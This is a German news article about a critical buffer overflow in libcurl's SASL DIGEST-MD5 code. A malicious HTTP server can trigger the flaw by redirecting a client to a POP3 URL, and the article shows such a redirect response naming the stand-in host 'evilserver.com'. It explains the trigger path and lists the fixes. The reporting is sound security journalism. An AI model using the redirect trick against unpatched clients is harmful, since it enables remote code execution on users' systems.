cURL auf Abwegen

Ein Server kann cURL über Umwege dazu bringen, beim Abruf einer Webseite beliebigen Code auf dem System auszuführen.

In Pocket speichern vorlesen Druckansicht 57 Kommentare lesen
Lesezeit: 2 Min.
Von
  • Ronald Eikenberg

Die File-Transfer-Bibliothek libcURL enthält eine kritische Schwachstelle, durch die man Programme dazu bringen kann, beim Abruf einer Webseite beliebigen Code auszuführen. Das Interessante an der Lücke ist, dass sie eigentlich im Code zur Kommunikation mit Mail-Servern steckt, sich aber bereits beim Aufruf einer normalen HTTP-URL ausnutzen lässt.

Dazu muss der Webserver lediglich eine Umleitung auf einen Mailserver signalisieren:

HTTP/1.0 302 Found
Location: pop3://x:x@evilserver.com/.

cURL unterstützt nämlich neben den bekannten http- und https-URLs auch eine Vielzahl weiterer Protokolle, darunter auch POP3 (wer das nicht glaubt, der rufe einfach mal etwas wie curl -v pop3://test:123@pop.gmx.de auf). Wenn cURL den POP3-Server kontaktiert, fragen aktuelle Versionen zunächst mit dem Befehl CAPA nach dessen Fähigkeiten. Um die Lücke auszunutzen, gibt der Server bekannt, dass er lediglich die Authentifizierung über SASL DIGEST-MD5 unterstützt. Das sorgt dafür, dass cURL eine vom Server gelieferte Antwort durch die Funktion Curl_sasl_create_digest_md5_message() schickt, ohne zuvor die Länge der Daten zu überprüfen. Dabei kommt es schließlich zum Pufferüberlauf. Ein passender Exploit ist bereits im Umlauf.

Laut dem Advisory der cURL-Entwickler lässt sich diese Lücke über POP3, IMAP und SMTP ausnutzen. Brisant ist die Lücke weniger wegen des Kommandozeilen-Tools als wegen der vielen Programme und Skripte, die die Bibliothek libcURL einsetzen. Schützen kann man sich, indem man die Unterstützung der drei Mail-Protokolle abschaltet oder cURL und die libcurl auf Version 7.29.0 aktualisiert. Für ältere Versionen gibt es einen Patch. (rei)